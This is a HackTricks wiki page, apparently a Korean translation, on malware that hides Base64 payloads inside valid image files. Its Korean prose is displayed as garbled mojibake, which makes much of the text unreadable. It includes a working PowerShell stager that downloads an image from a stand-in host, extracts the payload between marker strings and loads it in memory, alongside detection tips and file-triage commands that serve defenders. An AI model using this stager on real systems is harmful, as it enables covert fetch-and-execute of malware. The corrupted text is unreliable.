Malware & Network Stego

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Not all steganography is pixel LSB; commodity malware often hides payloads inside otherwise valid files.

์‹ค์šฉ์ ์ธ ํŒจํ„ด

์œ ํšจํ•œ ์ด๋ฏธ์ง€์—์„œ์˜ Marker-delimited payloads

์ด๋ฏธ์ง€๊ฐ€ ๋‹ค์šด๋กœ๋“œ๋˜์–ด ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ•ด ์ฆ‰์‹œ text/Base64๋กœ ํŒŒ์‹ฑ๋˜๋Š” ๊ฒฝ์šฐ, payload๋Š” ์ข…์ข… pixel-hidden ๋ฐฉ์‹์ด ์•„๋‹ˆ๋ผ marker-delimited ๋ฐฉ์‹์ด๋‹ค.

Commodity loaders๋Š” ์ ์  ๋” Base64 payloads๋ฅผ ์œ ํšจํ•œ ์ด๋ฏธ์ง€(์ข…์ข… GIF/PNG) ๋‚ด๋ถ€์˜ plain text๋กœ ์ˆจ๊ธด๋‹ค. pixel-level LSB ๋Œ€์‹ , payload๋Š” ํŒŒ์ผ์˜ text/metadata์— ์‚ฝ์ž…๋œ ๊ณ ์œ ํ•œ marker strings๋กœ ๊ตฌ๋ถ„๋œ๋‹ค. ๊ทธ ํ›„ stager๋Š”:

  • ์ด๋ฏธ์ง€๋ฅผ HTTP(S)๋กœ ๋‹ค์šด๋กœ๋“œํ•œ๋‹ค
  • start/end markers๋ฅผ ์ฐพ๋Š”๋‹ค
  • between-text๋ฅผ ์ถ”์ถœํ•œ ๋’ค Base64-decodes ํ•œ๋‹ค
  • ๋ฉ”๋ชจ๋ฆฌ์—์„œ loads/executes ํ•œ๋‹ค

์ตœ์†Œํ•œ์˜ PowerShell carving snippet:

$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}

Notes:

  • ATT&CK: T1027.003 (steganography)
  • ํƒ์ง€/ํ—ŒํŒ…:
  • ๋‹ค์šด๋กœ๋“œํ•œ ์ด๋ฏธ์ง€์—์„œ ๊ตฌ๋ถ„์ž ๋ฌธ์ž์—ด์„ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”.
  • ์ด๋ฏธ์ง€๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ์ฆ‰์‹œ Base64 ๋””์ฝ”๋”ฉ ๋ฃจํ‹ด(PowerShell FromBase64String, JS atob ๋“ฑ)์„ ํ˜ธ์ถœํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ”Œ๋ž˜๊ทธํ•˜์„ธ์š”.
  • HTTP content-type ๋ถˆ์ผ์น˜(image/* ์‘๋‹ต์ด์ง€๋งŒ ๋ณธ๋ฌธ์ด ๊ธด ASCII/Base64๋ฅผ ํฌํ•จํ•˜๋Š” ๊ฒฝ์šฐ)๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.

Other high-signal places to hide payloads

These are typically faster to check than content-level pixel stego:

  • ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ: EXIF/XMP/IPTC, PNG tEXt/iTXt/zTXt, JPEG COM/APPn segments.
  • ํ›„ํ–‰ ๋ฐ”์ดํŠธ: ํ˜•์‹์ƒ์˜ ์ข…๋ฃŒ ๋งˆ์ปค ์ดํ›„์— ์ถ”๊ฐ€๋œ ๋ฐ์ดํ„ฐ(์˜ˆ: PNG IEND ์ดํ›„).
  • ๋‚ด์žฅ๋œ ์•„์นด์ด๋ธŒ: ZIP/7z๊ฐ€ ํŒŒ์ผ์— ๋‚ด์žฅ๋˜๊ฑฐ๋‚˜ ๋ง๋ถ™์—ฌ์ ธ ๋กœ๋”์— ์˜ํ•ด ์ถ”์ถœ๋จ.
  • Polyglots: ์—ฌ๋Ÿฌ ํŒŒ์„œ์—์„œ ์œ ํšจํ•˜๋„๋ก ์ œ์ž‘๋œ ํŒŒ์ผ๋“ค(์˜ˆ: image + script + archive).

ํŠธ๋ฆฌ์•„์ง€ ๋ช…๋ น

file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample

์ฐธ๊ณ  ์ž๋ฃŒ:

  • Unit 42 ์˜ˆ์‹œ: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
  • MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
  • File format polyglots ๋ฐ container tricks: https://github.com/corkami/docs
  • Aperiโ€™Solve (์›น ๊ธฐ๋ฐ˜ stego triage): https://aperisolve.com/

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ